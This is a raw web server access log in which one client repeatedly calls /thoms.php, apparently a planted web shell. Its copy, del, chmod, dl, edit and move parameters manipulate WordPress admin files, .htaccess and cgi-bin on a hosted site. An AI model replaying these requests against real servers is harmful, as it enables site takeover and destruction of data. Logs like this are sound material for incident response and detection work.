45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fuser-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fuser-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /booking-wise2.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/booking-wise2.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 200 14177 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /booking-wise2.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/booking-wise2.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fabout.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fabout.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?chmod=options-head.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?del=ms-delete-site.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29056 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?del=user-edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29059 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /booking-wise2.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:30 -0400] "GET /thoms.php?dl=about.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29059 "http://163.245.207.76:443/thoms.php?dl=about.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /thoms.php?del=link.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29055 "http://163.245.207.76:443/thoms.php?del=link.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /booking-wise2.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fsetup-config.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fsetup-config.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 200 16123 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /booking-wise2.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 200 20039 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /booking-wise2.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /thoms.php?chmod=freedoms.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmedia.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmedia.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 200 13042 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 200 13776 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:31 -0400] "GET /booking-wise2.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcontribute.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcontribute.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-sites.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-sites.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?del=ms-users.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29058 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?chmod=includes&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=includes&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-permalink.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-permalink.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?dl=widgets.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 200 15648 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fsite-health-info.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fsite-health-info.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 200 15258 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /thoms.php?del=profile.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29057 "http://163.245.207.76:443/thoms.php?del=profile.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:32 -0400] "GET /booking-wise2.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 200 12668 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?chmod=plugins.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?dl=upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 29056 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 200 12402 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 200 12656 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 23491 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?edit=license.txt&p=booking-wise2.com.tw HTTP/1.1" 200 19835 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11402 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22931 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18991 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22918 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 200 12424 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18990 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 200 11921 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin&upload= HTTP/1.1" 200 12180 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /booking-wise2.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/booking-wise2.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p= HTTP/1.1" 200 12422 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /booking-wise2.com.tw/cgi-bin/ HTTP/1.1" 200 694 "https://163.245.207.76:443/booking-wise2.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22919 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
